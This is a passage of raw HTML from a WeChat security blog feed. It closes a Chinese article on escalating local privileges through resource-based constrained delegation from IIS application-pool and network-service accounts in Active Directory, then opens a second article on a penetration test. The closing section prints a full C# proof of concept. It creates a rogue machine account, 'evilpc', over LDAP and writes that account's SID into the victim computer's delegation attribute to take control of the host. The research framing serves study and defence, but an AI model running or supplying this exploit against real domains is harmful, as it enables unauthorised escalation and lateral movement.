Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;"></span></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">查阅资料发现微软的文档(</span><span style="font-size: 14px;"><a href="https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities" target="_blank">https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities</a></span><span style="box-sizing: border-box;font-size: 14px;">)中是这样解释的</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.11570247933884298" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="1452" src="https://wechat2rss.xlab.app/img-proxy/?k=b56bbc01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ46HWq7CJnAplLjZWq4ibHwWQfSCGHe9MibGI1PMcdwJeicz6tGYpYmFQPg%2F640%3Fwx_fmt%3Djpeg"/><span style="font-size: 14px;"> <strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">iis apppool 账号请求网络资源时用的是</span></strong><strong style="box-sizing: border-box;"></strong><strong style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;">当前机器账户</code><span style="box-sizing: border-box;">身份请求的</span></strong></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">而这样设计会导致一个非常严重的问题就是可以直接连接到域控的ldap设置基于资源约束委派。并且不止iis可以提权，所有低权限服务(例如network service这类型的本机服务)如果可以请求域资源，那么出网都是以机器账户身份去请求的，这样都会造成权限提升。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">我们来看下域内iis上的提权过程，配置<span style="orphans: 4;text-align: start;background-color: rgb(255, 255, 255);">环境</span>如下:</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-backh="111" data-backw="562" data-ratio="0.19751552795031055" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;width: 100%;height: auto;" data-type="jpeg" data-w="1610" src="https://wechat2rss.xlab.app/img-proxy/?k=313bfbb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibN2mFcXD7fc7CFpeOMWWHPicurfhq3gvKh7d7EPEe53Hguk5dsGvWU1VLrj6wFw81rpVWzEVfnSCDQ%2F640%3Fwx_fmt%3Djpeg"/><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=a6ef1270&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibN2mFcXD7fc7CFpeOMWWHPic3ibLoDLZK4MjAyBrqTEWWKpdV2TAXiaaLe16xDS35qns01ZV0jibLzLlQ%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=ab4dfde9&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2NDk0MTM5MQ%3D%3D%26mid%3D2247483689%26idx%3D1%26sn%3D1d83538cebbe2197c44b9e5cc9a7997f%26subscene%3D0&amp;v=wxv_1255936908191006721"></video><span style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;orphans: 4;text-align: start;background-color: rgb(255, 255, 255);font-size: 14px;">轻松提权，上文中我们提到了</span><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;orphans: 4;white-space: normal;"><span style="font-size: 14px;">低权限服务</span></code><span style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;orphans: 4;text-align: start;background-color: rgb(255, 255, 255);font-size: 14px;">，我们还对 </span><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;orphans: 4;white-space: normal;"><span style="font-size: 14px;">nt authority\network service</span></code><span style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;orphans: 4;text-align: start;background-color: rgb(255, 255, 255);font-size: 14px;"> 权限进行了测试，得到的结果都和iis一样，出网身份是机器账户，也就是说它可以用同样的手法提权。</span></p><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">nt authority\network service</span></strong></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><img data-backh="117" data-backw="547" data-ratio="0.21311475409836064" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;width: 100%;height: auto;" data-type="jpeg" data-w="1708" src="https://wechat2rss.xlab.app/img-proxy/?k=5332365a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibN2mFcXD7fc7CFpeOMWWHPicUnzoiansRaLjotaSAwjEx48bAeA3l8uoN4Z77OG9kMiceWL5jvUJhdCQ%2F640%3Fwx_fmt%3Djpeg"/><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;text-align: justify;box-sizing: border-box;"><span style="box-sizing: border-box;"><strong style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 14px;orphans: 4;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box;"><span style="box-sizing: border-box;">域环境服务账户出网身份如下：</span></strong></span></strong></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;text-align: justify;box-sizing: border-box;"><span style="box-sizing: border-box;"><strong style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 14px;orphans: 4;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box;"><span style="box-sizing: border-box;"><img data-w="1080" data-type="jpeg" data-ratio="0.20277777777777778" src="https://wechat2rss.xlab.app/img-proxy/?k=65800ca0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4r9vznXQcGSvcA6gMG3XxTFicXhxZkDP0PaAiaib62N2WnQxw2Gv9DL29Q%2F640%3Fwx_fmt%3Djpeg"/></span></strong></span></strong></p></li></ul><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;orphans: 4;text-align: start;background-color: rgb(255, 255, 255);font-size: 14px;">更多的利用手法和利用场景，有兴趣的朋友可以翻阅微软文档继续挖掘，比如：sql server的利用。</span></p><h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 24px;">0x05 总结</span></h1><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">本文介绍了RBCD提权原理并分析出了默认可利用RBCD进行攻击的账户：</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">将机器加入域的那个账户（mS-DS-CreatorSID）</span></code><span style="box-sizing: border-box;font-size: 14px;">和</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">SELF机器账户自身</span></code><span style="box-sizing: border-box;font-size: 14px;">。我们还分析了以机器账户出网的账户有：</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">SYSTEM</span></code><span style="box-sizing: border-box;font-size: 14px;">、</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">iis apppool\defaultapppool</span></code><span style="box-sizing: border-box;font-size: 14px;">、</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">network service</span></code><span style="box-sizing: border-box;font-size: 14px;">，结合这些条件我们提出了IIS本地提权的思路和mS-DS-CreatorSID的新的攻击面（从本地提权到横向移动的利用思路）。更多的利用思路希望读者自己发掘。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">最后附上上文演示中的poc，代码参考自</span><span style="font-size: 14px;">SharpAllowedToAct</span><span style="box-sizing: border-box;font-size: 14px;">。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">using System;</span></code><code><span class="code-snippet_outer">using System.Text;</span></code><code><span class="code-snippet_outer">using System.Security.AccessControl;</span></code><code><span class="code-snippet_outer">using System.Security.Principal;</span></code><code><span class="code-snippet_outer">using System.Net;</span></code><code><span class="code-snippet_outer">namespace Addnew_MachineAccount</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    class Program</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        static void Main(string[] args)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            String DomainController = &#34;192.168.20.10&#34;;</span></code><code><span class="code-snippet_outer">            String Domain = &#34;redteam.com&#34;;</span></code><code><span class="code-snippet_outer">            //String username = args[0]; //域用户名</span></code><code><span class="code-snippet_outer">            //String password = args[1]; //域用户密码</span></code><code><span class="code-snippet_outer">            String new_MachineAccount = &#34;evilpc&#34;; //添加的机器账户</span></code><code><span class="code-snippet_outer">            String new_MachineAccount_password = &#34;123456&#34;; //机器账户密码</span></code><code><span class="code-snippet_outer">            String victimcomputer = &#34;web2&#34;; //需要进行提权的机器</span></code><code><span class="code-snippet_outer">            String victimcomputer_ldap_path = &#34;LDAP://CN=web2,CN=Computers,DC=redteam,DC=com&#34;;</span></code><code><span class="code-snippet_outer">            String machine_account = new_MachineAccount;</span></code><code><span class="code-snippet_outer">            String sam_account = machine_account + &#34;$&#34;;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            String distinguished_name = &#34;&#34;;</span></code><code><span class="code-snippet_outer">            String[] DC_array = null;</span></code><code><span class="code-snippet_outer">            distinguished_name = &#34;CN=&#34; + machine_account + &#34;,CN=Computers&#34;;</span></code><code><span class="code-snippet_outer">            DC_array = Domain.Split(&#39;.&#39;);</span></code><code><span class="code-snippet_outer">            foreach (String DC in DC_array)</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                distinguished_name += &#34;,DC=&#34; + DC;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            Console.WriteLine(&#34;[+] Elevate permissions on &#34; + victimcomputer);</span></code><code><span class="code-snippet_outer">            Console.WriteLine(&#34;[+] Domain = &#34; + Domain);</span></code><code><span class="code-snippet_outer">            Console.WriteLine(&#34;[+] Domain Controller = &#34; + DomainController);</span></code><code><span class="code-snippet_outer">            //Console.WriteLine(&#34;[+] New SAMAccountName = &#34; + sam_account);</span></code><code><span class="code-snippet_outer">            //Console.WriteLine(&#34;[+] Distinguished Name = &#34; + distinguished_name);</span></code><code><span class="code-snippet_outer">            //连接ldap</span></code><code><span class="code-snippet_outer">            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);</span></code><code><span class="code-snippet_outer">            //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录</span></code><code><span class="code-snippet_outer">            System.DirectoryServices.Protocols.LdapConnection connection = null;</span></code><code><span class="code-snippet_outer">            //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);</span></code><code><span class="code-snippet_outer">            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);</span></code><code><span class="code-snippet_outer">            connection.SessionOptions.Sealing = true;</span></code><code><span class="code-snippet_outer">            connection.SessionOptions.Signing = true;</span></code><code><span class="code-snippet_outer">            connection.Bind();</span></code><code><span class="code-snippet_outer">            var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {</span></code><code><span class="code-snippet_outer">                new System.DirectoryServices.Protocols.DirectoryAttribute(&#34;DnsHostName&#34;, machine_account +&#34;.&#34;+ Domain),</span></code><code><span class="code-snippet_outer">                new System.DirectoryServices.Protocols.DirectoryAttribute(&#34;SamAccountName&#34;, sam_account),</span></code><code><span class="code-snippet_outer">                new System.DirectoryServices.Protocols.DirectoryAttribute(&#34;userAccountControl&#34;, &#34;4096&#34;),</span></code><code><span class="code-snippet_outer">                new System.DirectoryServices.Protocols.DirectoryAttribute(&#34;unicodePwd&#34;, Encoding.Unicode.GetBytes(&#34;\&#34;&#34; + new_MachineAccount_password + &#34;\&#34;&#34;)),</span></code><code><span class="code-snippet_outer">                new System.DirectoryServices.Protocols.DirectoryAttribute(&#34;objectClass&#34;, &#34;Computer&#34;),</span></code><code><span class="code-snippet_outer">                new System.DirectoryServices.Protocols.DirectoryAttribute(&#34;ServicePrincipalName&#34;, &#34;HOST/&#34;+machine_account+&#34;.&#34;+Domain,&#34;RestrictedKrbHost/&#34;+machine_account+&#34;.&#34;+Domain,&#34;HOST/&#34;+machine_account,&#34;RestrictedKrbHost/&#34;+machine_account)</span></code><code><span class="code-snippet_outer">            });</span></code><code><span class="code-snippet_outer">            try</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                //添加机器账户</span></code><code><span class="code-snippet_outer">                connection.SendRequest(request);</span></code><code><span class="code-snippet_outer">                Console.WriteLine(&#34;[+] Machine account: &#34; + machine_account + &#34; Password: &#34; + new_MachineAccount_password + &#34; added&#34;);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            catch (System.Exception ex)</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                Console.WriteLine(&#34;[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)&#34;);</span></code><code><span class="code-snippet_outer">                Console.WriteLine(&#34;[-] Exception: &#34; + ex.Message);</span></code><code><span class="code-snippet_outer">                return;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            // 获取新计算机对象的SID</span></code><code><span class="code-snippet_outer">            var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, &#34;(&amp;(samAccountType=805306369)(|(name=&#34; + machine_account + &#34;)))&#34;, System.DirectoryServices.Protocols.SearchScope.Subtree, null);</span></code><code><span class="code-snippet_outer">            var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);</span></code><code><span class="code-snippet_outer">            SecurityIdentifier sid = null;</span></code><code><span class="code-snippet_outer">            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                try</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    sid = new SecurityIdentifier(entry.Attributes[&#34;objectsid&#34;][0] as byte[], 0);</span></code><code><span class="code-snippet_outer">                    Console.Out.WriteLine(&#34;[+] &#34;+ new_MachineAccount +&#34; SID : &#34; + sid.Value);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                catch</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    Console.WriteLine(&#34;[!] It was not possible to retrieve the SID.\nExiting...&#34;);</span></code><code><span class="code-snippet_outer">                    return;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            //设置资源约束委派</span></code><code><span class="code-snippet_outer">            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(&#34;redteam.com&#34;);</span></code><code><span class="code-snippet_outer">            myldapConnection.Path = victimcomputer_ldap_path;</span></code><code><span class="code-snippet_outer">            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;</span></code><code><span class="code-snippet_outer">            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);</span></code><code><span class="code-snippet_outer">            //通过ldap找计算机</span></code><code><span class="code-snippet_outer">            search.Filter = &#34;(CN=&#34;+victimcomputer+&#34;)&#34;;</span></code><code><span class="code-snippet_outer">            string[] requiredProperties = new string[] { &#34;samaccountname&#34; };</span></code><code><span class="code-snippet_outer">            foreach (String property in requiredProperties)</span></code><code><span class="code-snippet_outer">                search.PropertiesToLoad.Add(property);</span></code><code><span class="code-snippet_outer">            System.DirectoryServices.SearchResult result = null;</span></code><code><span class="code-snippet_outer">            try</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                result = search.FindOne();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            catch (System.Exception ex)</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                Console.WriteLine(ex.Message + &#34;Exiting...&#34;);</span></code><code><span class="code-snippet_outer">                return;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            if (result != null)</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();</span></code><code><span class="code-snippet_outer">                String sec_descriptor = &#34;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;&#34; + sid.Value + &#34;)&#34;;</span></code><code><span class="code-snippet_outer">                System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);</span></code><code><span class="code-snippet_outer">                byte[] descriptor_buffer = new byte[sd.BinaryLength];</span></code><code><span class="code-snippet_outer">                sd.GetBinaryForm(descriptor_buffer, 0);</span></code><code><span class="code-snippet_outer">                // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中</span></code><code><span class="code-snippet_outer">                entryToUpdate.Properties[&#34;msds-allowedtoactonbehalfofotheridentity&#34;].Value = descriptor_buffer;</span></code><code><span class="code-snippet_outer">                try</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    entryToUpdate.CommitChanges();//提交更改</span></code><code><span class="code-snippet_outer">                    Console.WriteLine(&#34;[+] Exploit successfully!&#34;);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                catch (System.Exception ex)</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    Console.WriteLine(ex.Message);</span></code><code><span class="code-snippet_outer">                    Console.WriteLine(&#34;[!] \nFailed...&#34;);</span></code><code><span class="code-snippet_outer">                    return;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><hr style="border-style: solid;border-width: 1px 0px 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;">上一篇文章中，我们创建了一个微信群，2个小时就加入了500人满了，但依旧有很多小伙伴要加入，于是我们开放了【知识星球】，请阅读【知识星球·指南·规则】<a href="https://blog.ateam.qianxin.com/post/zsxqzn/，再加入。" target="_blank">https://blog.ateam.qianxin.com/post/zsxqzn/，再加入。</a><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="721" data-backw="578" data-ratio="1.24765625" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=3245d833&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibN2mFcXD7fc7CFpeOMWWHPichKaEhF9vnx7oFJpSDpg8eNVnvhU6Rky6wgy5UK8vVOBOfOHvxf21WA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p>



<p><a href="https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=db16e60b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2NDk0MTM5MQ%3D%3D%26mid%3D2247483689%26idx%3D1%26sn%3D1d83538cebbe2197c44b9e5cc9a7997f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 19 Mar 2020 11:18:00 +0800</pubDate>
    </item>
    <item>
      <title>这是一篇“不一样”的真实渗透测试案例分析文章</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&amp;mid=2247483670&amp;idx=1&amp;sn=1063bf299a8894f87521e8d73a687ff3</link>
      <description>本文是由真实的授权渗透案例引申而出的技术分析和总结文章。在文章中我们会首先简单介绍这次案例的整体渗透流程并进行部分演绎，但不会进行详细的截图和描述。然后提取整个渗透过程中比较精华的点，以点及面来进行技术分析和探讨，望不同的人有不同的收获。</description>
      <content:encoded><![CDATA[<p>
原创 <span>cheery , n0thing</span> <span>2020-03-12 10:29</span> <span style="display: inline-block;"></span>
</p>

<p>本文是由真实的授权渗透案例引申而出的技术分析和总结文章。在文章中我们会首先简单介绍这次案例的整体渗透流程并进行部分演绎，但不会进行详细的截图和描述。然后提取整个渗透过程中比较精华的点，以点及面来进行技术分析和探讨，望不同的人有不同的收获。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=937eb31c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibPTqAsetcgDxQo33UdbkpmKNRY8GKLONQm1hDMkXMKzqEribA0FaoIFtbHfTPeVg2akbEsMqcTicIYg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 14px;">作者：<strong>cheery@QAX-ATEAM &amp;&amp; n0thing@QAX-ATEAM</strong></span></p><p><span style="font-size: 14px;">校对：<strong>L.N.</strong></span></p><p><span style="font-size: 14px;">同时感谢<strong>n1nty</strong>、<strong>pr0mise</strong>、<strong>2月30日</strong>对本文提出的宝贵建议。</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">文章内容较多，建议点击文末“阅读全文”，跳转到博客阅读。</span></p><h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 24px;">0x00 前言</span><br/></h1><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 